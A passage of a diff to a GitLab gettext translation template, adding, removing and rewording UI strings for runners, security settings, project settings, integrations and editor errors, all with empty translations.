+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
